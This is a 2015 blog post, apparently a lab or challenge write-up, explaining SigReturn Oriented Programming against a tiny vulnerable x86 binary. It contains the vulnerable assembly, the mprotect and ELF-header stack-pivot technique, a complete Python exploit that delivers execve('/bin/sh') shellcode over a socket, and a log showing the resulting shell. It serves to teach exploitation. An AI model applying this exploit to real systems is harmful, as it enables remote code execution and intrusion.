Saturday, June 20, 2015

Fun with SROP Exploitation

This post is regarding another solution for the same problem mentioned in Return to VDSO using ELF Auxiliary Vectors. So the idea here is to exploit a tiny binary remotely using SigReturn Oriented Programming (SROP) without info leak or bruteforce. Below is the challenge code:
section .text

global _start

vuln:
    sub esp, 8
    mov eax, 3  ; sys_read
    xor ebx, ebx ; stdin
    mov ecx, esp ; buffer
    mov edx, 1024 ; size
    int 0x80
    add esp, 8
    ret
 
_start:
    call vuln
    xor eax, eax
    inc eax  ; sys_exit
    int 0x80
The binary is not a PIE but with ASLR and NX enabled. 12 bytes will overwrite the saved EIP. We will have to make the target binary read 0x77 bytes from the socket so that EAX is set to make sigreturn syscall. Once delivering sigreturn we can load all the registers with user controlled data.

We cannot make a execve syscall directly since /bin/sh string is not available in known address. Also, there is no .bss/.data section to read data into it and pivot the stack for chaining a ROP sequence. Stack needs to be pointed to some controlled address.

Make .text segment RWX using mprotect

The idea is to change the permission of text segment by calling mprotect(0x08048000, 0x1000, 7). This makes the .text segment RWX. For delivering this syscall, EIP is pointed to gadget int 0x80 ;add esp, 8; ret. The fake frame for SIGRETURN syscall needs a ESP value, this ESP value will be used when executing 'ret' instruction. But where to point the ESP.

Pivoting stack into ELF header

ELF header has the program entry point. We can point ESP right at the address holding the program entry point.
gdb-peda$ x/8wx 0x8048000
0x8048000: 0x464c457f 0x00010101 0x00000000 0x00000000
0x8048010: 0x00030002 0x00000001 0x08048077 0x00000034
set ESP to 0x8048010 such that add esp, 8; ret takes the value 0x8048077 into EIP, which means we can replay our program but with stack at a fixed address. When the program executes again from entry point, the code segment itself gets overwritten as data is read into text segment during the read syscall ie read(0, .text segment, 1024). Our shellcode executes when the read syscall returns. Below is the solution:
#!/usr/bin/env python

import struct
import telnetlib
from Frame import SigreturnFrame

ip = '127.0.0.1'
port = 8888
page_text_segment = 0x08048000
INT_80 = 0x08048071
SYS_MPROTECT  = 125

con = telnetlib.Telnet(ip, port)

frame = SigreturnFrame(arch="x86")
frame.set_regvalue("eax", SYS_MPROTECT)
frame.set_regvalue("ebx", page_text_segment)
frame.set_regvalue("ecx", 0x1000)
frame.set_regvalue("edx", 0x7)
frame.set_regvalue("ebp", page_text_segment)
frame.set_regvalue("eip", INT_80)
frame.set_regvalue("esp", page_text_segment+16) # points into ELF header, setting it up as fake frame
frame.set_regvalue("cs", 0x73)
frame.set_regvalue("ss", 0x7b)

payload  = "A" * 8
payload += struct.pack("<I", INT_80)            # Overwrite Saved EIP
payload += frame.get_frame()
payload += "A" * (0x77 - len(payload) - 1)      # read SIGRETURN number of bytes
con.write(payload + chr(0xa))

# shellcode includes NOP + DUP + stack fix + execve('/bin/sh')
con.write(open('shellcode').read())
con.interact()
renorobert@ubuntu:~/SROP/sploit$ nc.traditional -vvv -e ./vuln_s -l -p 8888
listening on [any] 8888 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 60604

renorobert@ubuntu:~/SROP/sploit$ python sploit.py 
uname -a
Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux
Frame could be found here

1 comment :

  1. Hi,

    Could you please to provide the binary ?

    Thank you so much !

    ReplyDelete